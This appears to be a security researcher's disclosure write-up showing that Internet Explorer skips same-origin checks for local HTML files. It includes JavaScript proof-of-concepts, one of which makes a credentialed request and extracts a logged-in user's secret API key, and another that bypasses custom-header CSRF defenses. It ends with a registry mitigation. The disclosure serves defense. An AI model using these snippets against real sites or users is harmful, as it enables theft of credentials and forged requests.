Explorer does not enforce the same-origin policy on local files
TL;DR
By default, Internet Explorer does not enforce the same-origin policy (SOP)1 on local files. This results in cross-origin requests lacking the otherwise necessary preflight requests and actually not being treated as cross-origin resource sharing (CORS)2. This also allows a local file to read the response to cross-origin requests that otherwise should be blocked due to the same-origin policy. Credentialed requests could be also possible against web applications that do not implement a robust CSRF protection mechanism and are in the same trust level. Currently cross-domain requests from local files can be only disabled via the registry by specifying the appropriate URL policy for the responsible URL action.
Security Zones
In Internet Explorer, the URL security zones3 group URL namespaces according to their respective levels of trust. A URL policy setting4 for each URL action5 - an operation that has security implications - enforces these levels of trust. Each URL security zone has a set of URL actions, with a URL policy assigned to each action which determines how that URL action is handled.
Local Machine Zone
The Local Machine Zone (LMZ) is a default zone for content that exists on the local computer and it is treated with a high level of trust. URLACTION_CROSS_DOMAIN_DATA
determines whether the resource is allowed to Access data sources across domains. For the LMZ the default setting of this URL action is URLPOLICY_ALLOW
, which means that cross-origin requests are permitted for documents and scripts on the local filesystem.
Local Machine Zone Lockdown
However, Local Machine Zone Lockdown (LMZL)6 secures the LMZ by tightening restrictions on several URL actions. Any time one of the restricted URL actions is attempted the Information Bar should appear that allows the user to remove the lockdown from the restricted content. URLACTION_SCRIPT_RUN
determines whether script code on the page is run. In LMZL this URL action has the more restrictive URLPOLICY_DISALLOW
setting, which means that scripts initiating complex CORS requests can only run if the lockdown is removed.
Cross-Site Request Forgery
A particularily well-suited defense against CSRF for AJAX/XHR endpoints is the use of a custom HTTP request header. This defense relies on the SOP restriction that only JavaScript can be used to add a custom header and only within its origin. By default, browsers should not allow JavaScript to make cross-origin requests, hence inserting the CSRF token in the HTTP request header via JavaScript is considered more secure than adding a token in a hidden form field. In this situation, even if the CSRF token is weak, predictible or leaked, an attacker still could not forge the POST
request directly by setting the custom header through XMLHttpRequest
. As per the CORS protocol, when the attacker tries to set any custom header through XMLHttpRequest
, the browser sends the preflight OPTIONS
request.7
PoCs
Reading content of arbitrary sites
This is a proof-of-concept to illustrate that a local file can send cross-origin requests and read the response. The below script sends a basic GET
request to https://example.org and simply writes the response to the HTML document. This cross-origin request is blocked in Firefox, Chrome and Edge because the same-origin policy disallows reading the remote resource.
1<script>
2var xhr = new XMLHttpRequest();
3xhr.open("GET", "https://example.org", true);
4xhr.send();
5xhr.onreadystatechange = function() {
6 if (xhr.readyState == XMLHttpRequest.DONE) {
7 document.write = xhr.responseText;
8 }
9}
10</script>
Reading content of arbitrary sites with credentials
This is a proof-of-concept to demonstrate that it is possible to send credentialed cross-origin requests in some cases, e.g. if the target site is in the trusted zone. As an example, I have added https://darksky.net to the list of trusted sites then I have logged in and opened the local file in a new tab. The below code sends a request to retrieve the Dark Sky API Console page and then extracts the secret API key necessary to use their services. This cross-origin request is blocked in Firefox, Chrome and Edge because the same-origin policy disallows reading the remote resource.
1<script>
2var xhr = new XMLHttpRequest();
3xhr.withCredentials = true;
4xhr.open("GET", "https://darksky.net/dev/account", true);
5xhr.send();
6xhr.onreadystatechange = function() {
7 if (xhr.readyState == XMLHttpRequest.DONE) {
8 var r = xhr.responseText;
9 var n = r.search('api-key" value="');
10 var s = r.substr(n+16, 32);
11 document.write("Your secret key is: " + s);
12 }
13}
14</script>
Bypassing CSRF-protection using custom headers
Some resources on CSRF defenses claim that the mere presence of a custom HTTP request header is sufficient to prevent CSRF attacks and a unique, random value is not actually required, because the malicius request should be preflighted and blocked based on the same-origin policy and the CORS mechanism.8 However, by default IE does not send a preflight request to ask the server for permission to send the actual request. An attacker could use various phishing techniques to trick the victim user into saving and then opening a specially crafted HTML file from the LMZL. The attacker then would be able to force the victim’s browser to initiate arbitrary cross-origin requests potentially capable to bypass weak CSRF protections. The following is an example of a PUT
request that should be preflighted, besides the PUT
method the body is of application/json
and a custom X-Foobar
header is also set. This snippet sends a request to https://httpbin.org (a simple HTTP request & response service) and includes a custom header which could be an actual CSRF token in an attack scenario. In this example the server will echo back the received request. This cross-origin request is first preflighted and then allowed in Firefox, Chrome and Edge because https://httpbin.org is configured to allow cross-origin requests according to the CORS policy.
1<script>
2var xhr = new XMLHttpRequest();
3xhr.onreadystatechange = function() {
4 if (xhr.readyState == XMLHttpRequest.DONE) {
5 var r = xhr.responseText;
6 document.write = r;
7 }
8}
9xhr.open("PUT", "https://httpbin.org/anything", true);
10xhr.setRequestHeader("Content-Type", "application/json");
11xhr.setRequestHeader("X-Foobar", "123456789");
12xhr.send(JSON.stringify({"foo":1, "bar":2}));
13</script>
Removing lockdown from restricted content
According to the documentation, any time a restricted URL action is attempted the Information Bar appears for user approval.9 However, it turns out that once the user removes the lockdown any other local file (even from a different folder) opened in the same browser tab will be automatically allowed to execute JavaScript code, without prompting the user for approval again. The below code does nothing besides writing a string to the HTML document, hence users might think that it is safe to remove the lockdown. However, the below screen capture shows that, after removing the lockdown, other files opened in the same browser tab will be automatically allowed to run potentially malicious scripts.
1<script>
2document.write('This file is completely harmless...');
3</script>
Mitigation
MSRC does not consider this to be a vulnerability, hence the default configuration to allow cross-origin requests is unlikely to change. This means once the user removes the lockdown the script will be able to send arbitrary cross-origin requests, among other nasty things. My Computer does not appear in the Zone box on the Security tab, hence Access data sources across domains can be only disabled in the registry by creating a DWORD
value named 1406
with data 3
under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0
.10 Note that this configuration change will not have any effect on how the lockdown can be removed from restricted content.
References
- Firefox V48.0 UXSS & Address Bar Spoofing
- Mark of the Web
- Mozilla Foundation Security Advisory 2015-03
- RFC 6454 - The Web Origin Concept
- Same origin policy bypass in local document/Universal xss
- sendBeacon let’s you send POST requets with arbitrary content type
- Tighten the same-origin policy for local files (file: URLs, trusted, security)